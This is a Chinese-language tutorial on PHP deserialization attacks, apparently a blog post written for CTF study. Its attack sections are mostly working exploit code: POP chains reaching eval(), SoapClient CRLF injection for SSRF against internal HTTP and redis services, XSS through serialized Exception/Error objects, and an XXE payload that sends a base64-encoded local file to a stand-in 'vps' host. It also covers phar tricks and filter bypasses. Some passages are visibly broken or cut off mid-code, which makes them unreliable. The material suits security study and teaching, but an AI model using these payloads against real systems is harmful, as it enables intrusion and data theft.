反序列化的深入探讨

简介: 反序列化的深入探讨

序列化概念


序列化就是将一个对象转换成字符串,字符串包括该对象对应的类名,属性个数、属性名、属性值、属性名、值的类型和长度。


反序列化则是将字符串重新恢复成对象,在反序列化一个对象前,这个对象的类必须在解序列化之前定义。


serialize()序列化 unserialize()反序列化

<?php
class Ctf
{
public $flag = 'flag{******}';
public $name = 'mtcz91';
public $age = '10';
public function __sleep(){
return array('flag','age');
}
}
$ctfer = new Ctf();
$ctfer->flag = 'flag{abcdefg}';
$ctfer->name = 'mtcz91';
$ctfer->age = '18';
// $str = serialize($ctfer);
// echo $str;
echo '<br>';
var_dump(unserialize('O:3:"Ctf":1:{s:3:"age";s:2:"18";}'));
?>

O:3:"Ctf":3{s:4:"flag";s:13:"flag{u_are_the_future}";s:4:"name";s:5:"mtcz91";s:3:"age";s:2:"18";}

O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示

3 代表类名字占三个字符

ctf 类名

3 代表三个属性

s代表字符串

4代表属性名长度

flag属性名

s:13:"flag{u_are_the_future}" 字符串 属性值长度 属性值


序列化变量类型


a - array                  b - boolean
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。


unserialize() 会检查是否存在一个 __wakeup() 魔术方法,如果存在则会先调用__wakeup()方法在进行反序列化。

可以在__wakeup()方法中对属性进行初始化或者改变,表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。


访问控制修饰符

protected属性被序列化的时候属性值会变成%00*%00属性名

private属性被序列化的时候属性值会变成%00类名%00属性名


常见的魔术方法触发方式:

当对象被创建时:__construct

当对象被销毁时:__destruct

当对象被当作一个字符串使用时:__toString

序列化对象前使用:__sleep

反序列化恢复对象前调用:__wakeup

当调用对象中不存在的方法时自动调用:__call

从不可访问的属性读取数据:__get

当把一个对象当作一个函数调用时:__invoke


常见的反序列化


魔术方法中存在可利用代码


代码如下

<?php
class test
{
function __destruct(){
echo "destruct...<br>";
eval($_GET['cmd']);
}
}
unserialize($_GET['u'])
?>

构造test对象的序列化字符串O:4:"test":0:{}

<?php
class test{}
$test = new test;
echo serialize($test);
?>

c23068298690fca0112b0d6b7c27becc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

存在调用其他类方法的代码

<?php
class lemon
{
protected $ClassObj;
function __construct(){
$this->ClassObj = new normal();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data;
function action(){
eval($this->data);
}
}
unserialize($_GET['d']);
?>

在exploit中,我们可以在__construct中将ClassObj换为evil类,然后将evil类的私有属性data赋值为phpinfo()。

O:5:"lemon":1:{s:11:"%00*%00ClassObj";O:4:"evil":1:{s:10:"%00evil%00data";s:10:"phpinfo();";}}

<?php
class lemon
{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}
function __destruct(){
$this->ClassObj->action();
}
}
class normal{
function action(){
echo "hello";
}
}
class evil{
private $data = "phpinfo();";
function action(){
eval($this->data);
}
}
$test = new lemon;
echo urlencode(serialize($test));
?>

2415d6249ddf098c284120aefa49dd88_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


原生类利用


__call方法

<?php
$rce = unserialize($_REQUEST['u']);
echo $rce->notexist();
?>

构造 exploit

<?php
echo serialize(new SoapClient(null, array('uri'=>'http://vps/','location'=>'http://vps/aaa')));
?>

c43627c004caec627ad902ff07303287_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

利用crlf进行更加深入的利用

<?php
$rce = unserialize($_REQUEST['u']);
echo $rce->notexist();
?>

构造 exploit

<?php
$poc = "i am evil string...";
$target = "http://47.94.37.154:8080";
$b = new SoapClient(null,array('location'=>$target, 'uri'=>'hello^^'.$poc.'^^hello'));
$aaa = serialize($b);
$aaa = str_replace('^^', "\n\r", $aaa);
echo urlencode($aaa);
?>

4dba12f10e0dc8f06b788f6ed4aae107_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

进而可以转换为如下两种攻击方式:


1. 构造post数据包来攻击内网HTTP服务,Soap默认头存在Content-Type:text/xml,但可以通过user_agent注入数据,将content-Type挤下,最终请求数据data=abc后的数据在容器处理下会被忽略。


$target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello'));    $aaa = serialize($b);    $aaa = str_replace('^^',"\n\r",$aaa);    echo urlencode($aaa);    ?>

2. 构造任意HTTP头来攻击内网其他服务(redis)

`CONFIG SET dir /root/` __toString方法,将对象作为字符串处理时会自动触发。

<?php
$rce = unserialize($_REQUEST['u']);
?>

构造exploit


O%3A9%3A%22Exception%22%3A6%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A37%3A%22%3Cscrip
<?php
echo urlencode(serialize(new Exception("<script>alert(/hello world/)</script>")));
?>

4a84bc5a7d482cc4239fa90769fffbf6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

Error 适用于php 7.0

<?php
$a = new Error("<script>alert(1)</script>");
$b = serialize($a);
echo urlencode($b);
?>

test

<?php
$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D');
$c = unserialize($t);
echo $c;
?>

__construct方法

通常情况下无法触发,当可以对任意类实例化时可以触发。


new SimpleXMLElement('http://vps/xxe_evil', LIBXML_NOENT, true)

xxe_evil

<!DOCTYPE root [<!ENTITY % remote SYSTEM "http://vps/xxe_read_passwd"> %remote; ]>
</root>

xxe_read_passwd

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///C:/Windows/System32/drivers/etc/hosts">
<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://vps/?xxe_local=%payload;'>">
%int;
%trick;

读取hosts,只读取了部分文件

53bec88667b238a218a1b834daba6527_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

phar反序列化

<?php
class demo{
public $t = "Test";
function __destruct(){
echo $this->t."win.";
}
}
file_exists("phar://./demo.phar");
?>

构造phar包

<?php
class demo{
public $t = "Test";
function __destruct(){
echo $this->t."win.";
}
}
$obj = new demo;
$obj->t = "you";
$p = new Phar('./demo.phar',0);
$p->startBuffering();
$p->setMetadata($obj);
$p->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$p->addFromString('test.txt','test');
$p->stopBuffering();
?>

c7c5d787764916aaf4599f7caa98cf52_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


反序列化限制绕过


__wakeup:当属性个数不正确时,php中就不会调用__wakeup(php5-5.6.25、php7-7.0.10)


bypass 反序列化正则

使用正则/[oc]:\d+:/i进行拦截

可以用 + 号进行绕过,如O:+4:"demo":1:{s:5:"demoa";a:0:{}}


反序列化字符逃逸

php在序列化字符串时,会保留该字符串的长度,然后将长度写入序列化后的数据,反序列化时就会按照长度进行读取,并且php底层是以;作为分割,以}作为结尾。类中不存在的属性也会进行反序列化,就会发生逃逸问题,导致对象注入。


session 反序列化

php默认存在一些session 处理器:php、php_binary、php_serialize 和 wddx。这些处理器都有经过序列化保存值,调用的时候会反序列化。

jarvisoj-web的一道SESSION反序列化题目


php 引用 & 绕过


Exception 绕过



参考链接:

  1. https://www.freebuf.com/articles/web/221213.html
  2. 《从0到1:ctfer成长之路》

相关文章
|
1月前
|
存储 XML JSON
数据传输的艺术:深入探讨序列化与反序列化
数据传输的艺术:深入探讨序列化与反序列化
50 0
|
1月前
|
存储 分布式计算 程序员
【C/C++ 序列化 】深入探索 Boost 序列化:从理论到实践的全面指南
【C/C++ 序列化 】深入探索 Boost 序列化:从理论到实践的全面指南
82 1
|
4月前
|
XML 存储 JSON
【序列化】的一些基础知识
【序列化】的一些基础知识
|
9月前
|
存储 XML 消息中间件
一文彻底搞懂序列化和反序列化
一文彻底搞懂序列化和反序列化
|
10月前
|
数据库 数据格式 Python
聊一聊序列化和反序列化
聊一聊序列化和反序列化
78 1
|
存储 XML JSON
序列化和反序列化的底层实现原理是什么?
序列化和反序列化的底层实现原理是什么?
122 0
|
Java 文件存储 数据库
18. Java序列化与反序列化三连问:是什么?为什么要?如何做?
18. Java序列化与反序列化三连问:是什么?为什么要?如何做?
120 0
|
Java
什么是java序列化,如何实现java序列化?
序列化就是一种用来处理对象流的机制,所谓对象流也就是将对象的内容进行流化。
78 1
|
Java 编译器 API
Java——谈谈框架中经常见到的序列化与反序列化技术
Java——谈谈框架中经常见到的序列化与反序列化技术
Java——谈谈框架中经常见到的序列化与反序列化技术
|
网络协议 Java 数据库
序列化系列(1)java序列化技术
这篇文章开始讲java对象的序列化,这是因为近期自己的项目当中,大量使用了序列化技术,这里面有java提供的序列化技术,也有一些序列化框架;所以,下定决心把java的序列化技术整理一下,以供参考。这是序列化系列的第一篇文章,所以主要是描述java提供的序列化技术。后续系列再分别讲使用框架实现序列化。 按照惯例,先给出这篇文章的大致脉络 首先,描述了序列化技术的使用场景和序列化的几种方案。 接着,讲java提供的序列化技术 然后,就是需要注意的几个问题,比如transient关键字、序列化ID的作用、深度克隆等等 最后,对java提供的系列化技术的一个总结
103 0
序列化系列(1)java序列化技术

热门文章

最新文章